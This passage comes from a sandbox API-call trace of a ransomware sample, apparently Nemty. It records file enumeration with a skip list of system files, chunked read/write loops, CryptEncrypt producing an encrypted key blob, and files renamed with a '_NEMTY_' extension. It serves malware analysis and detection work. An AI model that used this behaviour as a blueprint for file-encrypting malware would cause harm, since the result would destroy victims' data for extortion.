hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.423] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.423] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.432] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.432] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.432] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.442] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.442] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.442] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.478] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.478] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.478] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.485] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.485] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0059.485] CloseHandle (hObject=0xffffffff) returned 0 [0059.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94348 [0059.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0059.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0059.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0059.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0059.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x63404a8 [0059.485] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x6343fe8 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.485] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BlackRectangle.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\blackrectangle.bmp._nemty_kgobjgd_")) returned 0 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94348 | out: hHeap=0x4f90000) returned 1 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0059.485] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0059.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c0 | out: hHeap=0x4f90000) returned 1 [0059.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0059.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.486] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2=".") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="..") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="...") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="windows") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="$RECYCLE.BIN") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="rsa") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="NTDETECT.COM") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="ntldr") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="MSDOS.SYS") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="IO.SYS") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="boot.ini") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="boot.ini") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="AUTOEXEC.BAT") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="ntuser.dat") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="desktop.ini") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="CONFIG.SYS") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="RECYCLER") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="BOOTSECT.BAK") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="bootmgr") returned 1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="programdata") returned -1 [0059.486] lstrcmpiW (lpString1="circleround_glass.png", lpString2="appdata") returned 1 [0059.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0059.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_glass.png", lpUsedDefaultChar=0x0) returned 21 [0059.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0059.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0059.486] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.486] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_glass.png", lpUsedDefaultChar=0x0) returned 21 [0059.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0059.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0059.486] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0059.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0059.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_glass.png", lpUsedDefaultChar=0x0) returned 21 [0059.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0059.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0059.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0059.487] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="circleround_glass.png", cchWideChar=21, lpMultiByteStr=0x4f9ed58, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circleround_glass.png", lpUsedDefaultChar=0x0) returned 21 [0059.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0059.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f942c0 [0059.487] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94238 | out: hHeap=0x4f90000) returned 1 [0059.487] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94358 [0059.487] Sleep (dwMilliseconds=0x5) [0059.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd71c00f0, dwHighDateTime=0x1d561e7)) [0059.496] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd71c00f0, dwHighDateTime=0x1d561e7)) [0059.496] GetLastError () returned 0x5 [0059.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0059.496] GetLastError () returned 0x5 [0059.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0059.496] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0059.496] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0059.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0059.496] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0059.497] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0059.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0059.497] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="N84G6QTmOjAIWyBuMCWipnvp0flHYgEAsm/pILsuB+AtY44rezRCtCAnuhBEEByL\r\nsVYVvF6Kit+PCr7tyLQ+YR8EisxFLj6e0zyddPVhbIMjg+wzZsQmKy1+eiMoTKlT\r\nyUyr6pLs2wK9P74fXWOKblflII4bFSwfzXqS6riX15ehWVOkDU+xpryYAc+qCWRV\r\nLtCbhPsqlUbSKE9GcC1uXc/wBuUjwLP8eEzCQ+eGHHrm0lWpZ7LT3Zgc/ZMHo7z9\r\nZrdXBuqc6Kd0WKw7iWUfcE13lI7zKk6e3iJ07xeSHAJ/eYI4LQxWZ3AbmoCsItRr\r\nXeRFIZhKnmYf7RFlP7Psyw==\r\n", pcchString=0x653ec5c) returned 1 [0059.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0059.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0059.497] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0059.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0059.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0059.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0059.497] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\circleround_glass.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circleround_glass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.497] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0059.497] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0059.497] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.497] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.507] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.536] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.536] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.536] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.545] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.545] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.545] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.555] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.555] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.555] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.565] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0059.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.565] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0059.574] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0059.574] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, 